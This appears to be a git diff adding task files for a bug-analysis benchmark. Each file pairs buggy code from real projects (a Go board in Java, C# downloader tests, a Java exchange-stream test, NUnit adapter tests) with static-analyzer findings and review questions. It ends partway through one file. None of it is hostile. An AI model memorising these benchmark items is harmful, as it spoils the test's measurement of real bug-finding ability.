+    Stone[] shdwstones = stones.clone();
+    Stone toggle = stones[getIndex(stonex, stoney)];
+    Stone toggleToo;
+    switch (toggle) {
+      case BLACK:
+        toggleToo = Stone.BLACK_CAPTURED;
+        break;
+      case BLACK_CAPTURED:
+        toggleToo = Stone.BLACK;
+        break;
+      case WHITE:
+        toggleToo = Stone.WHITE_CAPTURED;
+        break;
+      case WHITE_CAPTURED:
+        toggleToo = Stone.WHITE;
+        break;
+      default:
+        return;
+    }
+    boolean lastup, lastdown;
+    // This is using a flood fill algorithm that uses a Q instead of being recursive
+    Queue<int[]> visitQ = new ArrayDeque<>();
+    visitQ.add(new int[] {stonex, stoney});
+    while (!visitQ.isEmpty()) {
+      int[] curpos = visitQ.remove();
+      int x = curpos[0];
+      int y = curpos[1];
+
+      // Move all the way left
+      while (x > 0
+          && (stones[getIndex(x - 1, y)] == Stone.EMPTY || stones[getIndex(x - 1, y)] == toggle)) {
+        x--;
+      }
+
+      lastup = lastdown = false;
+      // Find all stones within empty area line by line (new lines added to Q)
+      while (x < boardWidth) {
+        if (shdwstones[getIndex(x, y)] == Stone.EMPTY) {
+          shdwstones[getIndex(x, y)] = Stone.DAME; // Too mark that it has been visited
+        } else if (stones[getIndex(x, y)] == toggle) {
+          stones[getIndex(x, y)] = toggleToo;
+        } else {
+          break;
+        }
+        // Check above
+        if (y - 1 >= 0
+            && (shdwstones[getIndex(x, y - 1)] == Stone.EMPTY
+                || stones[getIndex(x, y - 1)] == toggle)) {
+          if (!lastup) visitQ.add(new int[] {x, y - 1});
+          lastup = true;
+        } else {
+          lastup = false;
+        }
+        // Check below
+        if (y + 1 < boardHeight
+            && (shdwstones[getIndex(x, y + 1)] == Stone.EMPTY
+                || stones[getIndex(x, y + 1)] == toggle)) {
+          if (!lastdown) visitQ.add(new int[] {x, y + 1});
+          lastdown = true;
+        } else {
+          lastdown = false;
+        }
+        x++;
+      }
+    }
+    Lizzie.frame.refresh();
+  }
+
+  /*
+   * Check if a point on the board is empty or contains a captured stone
+   */
+  private boolean emptyOrCaptured(Stone[] stones, int x, int y) {
+    int curidx = getIndex(x, y);
+    if (stones[curidx] == Stone.EMPTY
+        || stones[curidx] == Stone.BLACK_CAPTURED
+        || stones[curidx] == Stone.WHITE_CAPTURED) return true;
+    return false;
+  }
+
+  /*
+   * Starting from startx, starty, mark all empty points within area as either white, black or dame.
+   * If two stones of opposite color (neither marked as captured) is encountered, the area is dame.
+   *
+   * @return A stone with color white, black or dame
+   */
+  private Stone markEmptyArea(Stone[] stones, int startx, int starty) {
+    Stone[] shdwstones = stones.clone();
+    // Found will either be black or white, or dame if both are found in area
+    Stone found = Stone.EMPTY;
+    boolean lastup, lastdown;
+    Queue<int[]> visitQ = new ArrayDeque<>();
+    visitQ.add(new int[] {startx, starty});
+    Deque<Integer> allPoints = new ArrayDeque<>();
+    // Check one line at the time, new lines added to visitQ
+    while (!visitQ.isEmpty()) {
+      int[] curpos = visitQ.remove();
+      int x = curpos[0];
+      int y = curpos[1];
+      if (!emptyOrCaptured(shdwstones, x, y)) {
+        continue;
+      }
+      // Move all the way left
+      while (x > 0 && emptyOrCaptured(shdwstones, x - 1, y)) {
+        x--;
+      }
+      // Are we on the border, or do we have a stone to the left?
+      if (x > 0 && shdwstones[getIndex(x - 1, y)] != found) {
+        if (found == Stone.EMPTY) found = shdwstones[getIndex(x - 1, y)];
+        else found = Stone.DAME;
+      }
+
+      lastup = lastdown = false;
+      while (x < boardWidth && emptyOrCaptured(shdwstones, x, y)) {
+        // Check above
+        if (y - 1 >= 0 && shdwstones[getIndex(x, y - 1)] != Stone.DAME) {
+          if (emptyOrCaptured(shdwstones, x, y - 1)) {
+            if (!lastup) visitQ.add(new int[] {x, y - 1});
+            lastup = true;
+          } else {
+            lastup = false;
+            if (found != shdwstones[getIndex(x, y - 1)]) {
+              if (found == Stone.EMPTY) {
+                found = shdwstones[getIndex(x, y - 1)];
+              } else {
+                found = Stone.DAME;
+              }
+            }
+          }
+        }
+        // Check below
+        if (y + 1 < boardHeight && shdwstones[getIndex(x, y + 1)] != Stone.DAME) {
+          if (emptyOrCaptured(shdwstones, x, y + 1)) {
+            if (!lastdown) {
+              visitQ.add(new int[] {x, y + 1});
+            }
+            lastdown = true;
+          } else {
+            lastdown = false;
+            if (found != shdwstones[getIndex(x, y + 1)]) {
+              if (found == Stone.EMPTY) {
+                found = shdwstones[getIndex(x, y + 1)];
+              } else {
+                found = Stone.DAME;
+              }
+            }
+          }
+        }
+        // Add current stone to empty area and mark as visited
+        if (shdwstones[getIndex(x, y)] == Stone.EMPTY) allPoints.add(getIndex(x, y));
+
+        // Use dame stone to mark as visited
+        shdwstones[getIndex(x, y)] = Stone.DAME;
+        x++;
+      }
+      // At this point x is at the edge of the board or on a stone
+      if (x < boardWidth && shdwstones[getIndex(x, y)] != found) {
+        if (found == Stone.EMPTY) found = shdwstones[getIndex(x, y)];
+        else found = Stone.DAME;
+      }
+    }
+    // Finally mark all points as black or white captured if they were surronded by white or black
+    if (found == Stone.WHITE) found = Stone.WHITE_POINT;
+    else if (found == Stone.BLACK) found = Stone.BLACK_POINT;
+    // else found == DAME and will be set as this.
+    while (!allPoints.isEmpty()) {
+      int idx = allPoints.remove();
+      stones[idx] = found;
+    }
+    return found;
+  }
+
+  /*
+   * Mark all empty points on board as black point, white point or dame
+   */
+  public Stone[] scoreStones() {
+
+    Stone[] scoreStones = capturedStones.clone();
+
+    for (int i = 0; i < boardWidth; i++) {
+      for (int j = 0; j < boardHeight; j++) {
+        if (scoreStones[getIndex(i, j)] == Stone.EMPTY) {
+          markEmptyArea(scoreStones, i, j);
+        }
+      }
+    }
+    return scoreStones;
+  }
+
+  /*
+   * Count score for whole board, including komi and captured stones
+   */
+  public double[] getScore(Stone[] scoreStones) {
+    double score[] =
+        new double[] {
+          getData().blackCaptures, getData().whiteCaptures + getHistory().getGameInfo().getKomi()
+        };
+    for (int i = 0; i < boardWidth; i++) {
+      for (int j = 0; j < boardHeight; j++) {
+        switch (scoreStones[getIndex(i, j)]) {
+          case BLACK_POINT:
+            score[0]++;
+            break;
+          case BLACK_CAPTURED:
+            score[1] += 2;
+            break;
+
+          case WHITE_POINT:
+            score[1]++;
+            break;
+          case WHITE_CAPTURED:
+            score[0] += 2;
+            break;
+        }
+      }
+    }
+    return score;
+  }
+
+  public boolean inAnalysisMode() {
+    return analysisMode;
+  }
+
+  public boolean inScoreMode() {
+    return scoreMode;
+  }
+
+  public void toggleAnalysis() {
+    if (analysisMode) {
+      Lizzie.leelaz.removeListener(this);
+      analysisMode = false;
+    } else {
+      if (!getNextMove().isPresent()) return;
+      String answer =
+          JOptionPane.showInputDialog(
+              "# playouts for analysis (e.g. 100 (fast) or 50000 (slow)): ");
+      try {
+        playoutsAnalysis = Integer.parseInt(answer);
+      } catch (NumberFormatException err) {
+        System.out.println("Not a valid number");
+        return;
+      }
+      Lizzie.leelaz.addListener(this);
+      analysisMode = true;
+      if (!Lizzie.leelaz.isPondering()) Lizzie.leelaz.togglePonder();
+    }
+  }
+
+  public void bestMoveNotification(List<MoveData> bestMoves) {
+    if (analysisMode) {
+      boolean isSuccessivePass =
+          (history.getPrevious().isPresent()
+              && !history.getPrevious().get().lastMove.isPresent()
+              && !getLastMove().isPresent());
+      // Note: We cannot replace this history.getNext() with getNextMove()
+      // because the latter returns null if the next move is "pass".
+      if (!history.getNext().isPresent() || isSuccessivePass) {
+        // Reached the end...
+        toggleAnalysis();
+      } else if (bestMoves.isEmpty()) {
+        // If we get empty list, something strange happened, ignore notification
+      } else {
+        // sum the playouts to proceed like leelaz's --visits option.
+        int sum = 0;
+        for (MoveData move : bestMoves) {
+          sum += move.playouts;
+        }
+        if (sum >= playoutsAnalysis) {
+          nextMove();
+        }
+      }
+    }
+  }
+
+  public void autosave() {
+    if (autosaveToMemory()) {
+      try {
+        Lizzie.config.persist();
+      } catch (IOException err) {
+      }
+    }
+  }
+
+  public boolean autosaveToMemory() {
+    try {
+      String sgf = SGFParser.saveToString();
+      if (sgf.equals(Lizzie.config.persisted.getString("autosave"))) {
+        return false;
+      }
+      Lizzie.config.persisted.put("autosave", sgf);
+    } catch (Exception err) { // IOException or JSONException
+      return false;
+    }
+    return true;
+  }
+
+  public void resumePreviousGame() {
+    try {
+      SGFParser.loadFromString(Lizzie.config.persisted.getString("autosave"));
+      while (nextMove()) ;
+    } catch (JSONException err) {
+    }
+  }
+
+  public void updateWinrate() {
+    Leelaz.WinrateStats stats = Lizzie.leelaz.getWinrateStats();
+    if (stats.maxWinrate >= 0 && stats.totalPlayouts > history.getData().getPlayouts()) {
+      history.getData().winrate = stats.maxWinrate;
+      // we won't set playouts here. but setting winrate is ok... it shows the user that we are
+      // computing. i think its fine.
+      if (!Lizzie.config.holdWinrateToMove) {
+        history.getData().setPlayouts(stats.totalPlayouts);
+      }
+    }
+  }
+
+  public boolean changeMove(int moveNumber, String changeMove) {
+    Optional<int[]> changeCoord = asCoordinates(changeMove);
+    if ("pass".equalsIgnoreCase(changeMove)) {
+      changeMove(moveNumber, (int[]) null);
+      return true;
+    } else if ("swap".equalsIgnoreCase(changeMove)) {
+      changeMove(moveNumber, null, true);
+      return true;
+    } else if (changeCoord.isPresent()
+        && Board.isValid(changeCoord.get()[0], changeCoord.get()[1])) {
+      changeCoord.map(c -> changeMove(moveNumber, c, false));
+      return true;
+    } else {
+      return false;
+    }
+  }
+
+  public boolean changeMove(int moveNumber, int[] coords) {
+    return changeMove(moveNumber, coords, false);
+  }
+
+  public boolean changeMove(int moveNumber, int[] coords, boolean swapColorOnly) {
+    if (moveNumber <= 0) {
+      return false;
+    }
+
+    int endMoveNumber = history.getEnd().moveNumberOfNode();
+    if (moveNumber > endMoveNumber) {
+      return false;
+    }
+
+    int currentMoveNumber = history.getMoveNumber();
+
+    goToMoveNumber(moveNumber - 1);
+
+    Optional<BoardHistoryNode> changeNode = history.getCurrentHistoryNode().next();
+    Optional<BoardHistoryNode> relink = changeNode.flatMap(n -> n.next());
+
+    // Change Move
+    if (swapColorOnly) {
+      if (changeNode.isPresent()) {
+        Optional<int[]> c = changeNode.get().getData().lastMove;
+        if (c.isPresent() && isValid(c.get())) {
+          changeNode
+              .map(n -> n.getData())
+              .map(d -> d.lastMoveColor)
+              .ifPresent(s -> place(c.get()[0], c.get()[1], s.opposite(), false, true));
+        } else {
+          pass(history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE, false, false, true);
+        }
+      }
+    } else {
+      if (coords != null && Board.isValid(coords[0], coords[1])) {
+        place(
+            coords[0], coords[1], history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE, false, true);
+      } else {
+        pass(history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE, false, false, true);
+      }
+    }
+
+    Optional<BoardHistoryNode> node = relink;
+    while (node.isPresent()) {
+      Optional<int[]> lastMove = node.get().getData().lastMove;
+      if (lastMove.isPresent()) {
+        int[] m = lastMove.get();
+        if (Board.isValid(m[0], m[1])) {
+          place(
+              m[0],
+              m[1],
+              swapColorOnly
+                  ? node.get().getData().lastMoveColor
+                  : history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE,
+              false,
+              true);
+        } else {
+          pass(
+              swapColorOnly
+                  ? node.get().getData().lastMoveColor
+                  : history.isBlacksTurn() ? Stone.BLACK : Stone.WHITE,
+              false,
+              false,
+              true);
+        }
+        node = node.get().next();
+      }
+    }
+
+    goToMoveNumber(currentMoveNumber);
+
+    return true;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `featurecat.lizzie.rules.Board.updateWinrate` indirectly writes to field `n$28.featurecat.lizzie.rules.BoardData.playouts` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+Note that the prefix path n$28 has been contaminated during the execution, so the reported race on n$28.featurecat.lizzie.rules.BoardData.playouts might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Board.updateWinrate()
+
+### Procedure Id:
+featurecat.lizzie.rules.Board.updateWinrate():void.107dd9b653149b604851bb701a93da13
+
+### File:
+src/main/java/featurecat/lizzie/rules/Board.java
+
+### Key:
+Board.java|updateWinrate|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a60c6c2c11d58a48f6b8f2bde0eec05d
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1010/instruction.md b/inferredbugs-1010/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..70f4b2107dbe6c2eed04e7982a45ef3f28504f4a
--- /dev/null
+++ b/inferredbugs-1010/instruction.md
@@ -0,0 +1,401 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Downloader
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+
+namespace Downloader.Test
+{
+    [TestClass]
+    public class ChunkTest
+    {
+        [TestMethod]
+        public void ClearTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) { Position = 100, Timeout = 100 };
+            chunk.CanTryAgainOnFailover();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+            Assert.AreEqual(0, chunk.Timeout);
+            Assert.AreEqual(0, chunk.FailoverCount);
+        }
+
+        [TestMethod]
+        public void ClearFileStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) {
+                Storage = new FileStorage("")
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void ClearMemoryStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) {
+                Storage = new MemoryStorage()
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedOnBeginTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage()
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenNoStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new FileStorage(""),
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage(),
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size-1
+            };
+            chunk.Storage.WriteAsync(DummyData.GenerateRandomBytes(size), 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new FileStorage(""),
+                Position = size-1
+            };
+            var dummyData = DummyData.GenerateRandomBytes(size);
+            chunk.Storage.WriteAsync(dummyData, 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithMemoryStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage()
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithFileStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new FileStorage("")
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size // overflowed
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = 7
+            };
+            chunk.Storage.WriteAsync(new byte[] {0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7}, 0, 7);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithNoEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = 10
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 }, 0, 10);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndZeroPositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 0
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnZeroSizeTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, -1) {
+                Storage = new MemoryStorage(),
+                Position = 0
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void SetValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size // overflowed
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWithStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage(),
+                Position = 1
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Downloader.MemoryStorage::.ctor() at Line 196) of type Downloader.MemoryStorage in method "Void ChunkTest.IsValidPositionOnOverflowTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ChunkTest.IsValidPositionOnOverflowTest()
+
+### File:
+src/Downloader.Test/ChunkTest.cs
+
+### Key:
+ChunkTest.cs|IsValidPositionOnOverflowTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+74dd6f557df02c5a4df4dc621fd8dd49
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10151/instruction.md b/inferredbugs-10151/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..22517b9252ecc6f7cd59dc49f180bbb9bba21a98
--- /dev/null
+++ b/inferredbugs-10151/instruction.md
@@ -0,0 +1,124 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** xchange-stream
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package info.bitrich.xchangestream.hitbtc.dto;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import info.bitrich.xchangestream.hitbtc.HitbtcStreamingService;
+import org.apache.commons.lang3.reflect.MethodUtils;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+public class HitbtcStreamingServiceTest {
+
+    private final ObjectMapper objectMapper = new ObjectMapper();
+    private final HitbtcStreamingService streamingService = new HitbtcStreamingService("testUrl");
+
+    @Test
+    public void getChannelNameFromMessageTest() throws IOException, InvocationTargetException, IllegalAccessException {
+
+
+        Method method = MethodUtils.getMatchingMethod(HitbtcStreamingService.class, "getChannelNameFromMessage", JsonNode.class);
+        method.setAccessible(true);
+
+        String json = "{\"method\":\"aaa\"}";
+        Assert.assertEquals("aaa", method.invoke(streamingService, objectMapper.readTree(json)));
+
+        json = "{ \"method\": \"updateOrderbook\", \"params\": { \"symbol\": \"ETHBTC\" } }";
+        Assert.assertEquals("orderbook-ETHBTC", method.invoke(streamingService, objectMapper.readTree(json)));
+
+        json = "{ \"method\": \"snapshotOrderbook\", \"params\": { \"symbol\": \"ETHBTC\" } }";
+        Assert.assertEquals("orderbook-ETHBTC", method.invoke(streamingService, objectMapper.readTree(json)));
+
+        json = "{ \"method\": \"test\", \"params\": { \"symbol\": \"ETHBTC\" } }";
+        Assert.assertEquals("test-ETHBTC", method.invoke(streamingService, objectMapper.readTree(json)));
+
+        json = "{ \"noMethod\": \"updateOrderbook\" } }";
+        Throwable exception = null;
+        try {
+            method.invoke(streamingService, objectMapper.readTree(json));
+        } catch (InvocationTargetException e) {
+            exception = e.getTargetException();
+        }
+        Assert.assertNotNull("Expected IOException because no method", exception);
+        Assert.assertEquals(IOException.class, exception.getClass());
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `exception` last assigned on line 39 could be null and is dereferenced at line 46.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HitbtcStreamingServiceTest.getChannelNameFromMessageTest()
+
+### Procedure Id:
+info.bitrich.xchangestream.hitbtc.dto.HitbtcStreamingServiceTest.getChannelNameFromMessageTest():voi.eea16caf148599abf63fbe94ef4e1ce8
+
+### File:
+xchange-hitbtc/src/test/java/info/bitrich/xchangestream/hitbtc/dto/HitbtcStreamingServiceTest.java
+
+### Key:
+HitbtcStreamingServiceTest.java|getChannelNameFromMessageTest|NULL_DEREFERENCE
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+d3b09f1d4f62d983372495d17169d8b7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1018/instruction.md b/inferredbugs-1018/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..15cda8990b18800e93d4e51886c0b83567fe5480
--- /dev/null
+++ b/inferredbugs-1018/instruction.md
@@ -0,0 +1,690 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** nunit3-vs-adapter
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq;
+using NUnit.Framework;
+using NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools;
+
+namespace NUnit.VisualStudio.TestAdapter.Tests.Acceptance
+{
+    public sealed class SinglePassingTestResultTests : AcceptanceTests
+    {
+        private static void AddTestsCs(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.cs", @"
+                using NUnit.Framework;
+
+                namespace Test
+                {
+                    public class Tests
+                    {
+                        [Test]
+                        public void PassingTest()
+                        {
+                            Assert.Pass();
+                        }
+                    }
+                }");
+        }
+
+        private static void AddTestsVb(IsolatedWorkspace workspace)
+        {
+            workspace.AddFile("Tests.vb", @"
+                Imports NUnit.Framework
+
+                Namespace Test
+                    Public Class Tests
+
+                        <Test>
+                        Public Sub PassingTest()
+                            Assert.Pass()
+                        End Sub
+
+                    End Class
+                End Namespace");
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_csproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.MSBuild(restore: true);
+
+            workspace.VSTest(new[] { $@"bin\Debug\{targetFramework}\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(DotNetCliTargetFrameworks))]
+        public static void Single_target_csproj_dotnet_CLI(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.csproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
+                        <PackageReference Include='NUnit3TestAdapter' Version='{NuGetPackageVersion}' />
+                      </ItemGroup>
+
+                    </Project>");
+
+            AddTestsCs(workspace);
+
+            workspace.DotNetTest().AssertSinglePassingTest();
+        }
+
+        [TestCaseSource(nameof(TargetFrameworks)), Platform("Win")]
+        public static void Single_target_vbproj(string targetFramework)
+        {
+            var workspace = CreateWorkspace()
+                .AddProject("Test.vbproj", $@"
+                    <Project Sdk='Microsoft.NET.Sdk'>
+
+                      <PropertyGroup>
+                        <TargetFramework>{targetFramework}</TargetFramework>
+                      </PropertyGroup>
+
+                      <ItemGroup>
+                        <PackageReference Include='Microsoft.NET.Test.Sdk' Version='*' />
+                        <PackageReference Include='NUnit' Version='*' />
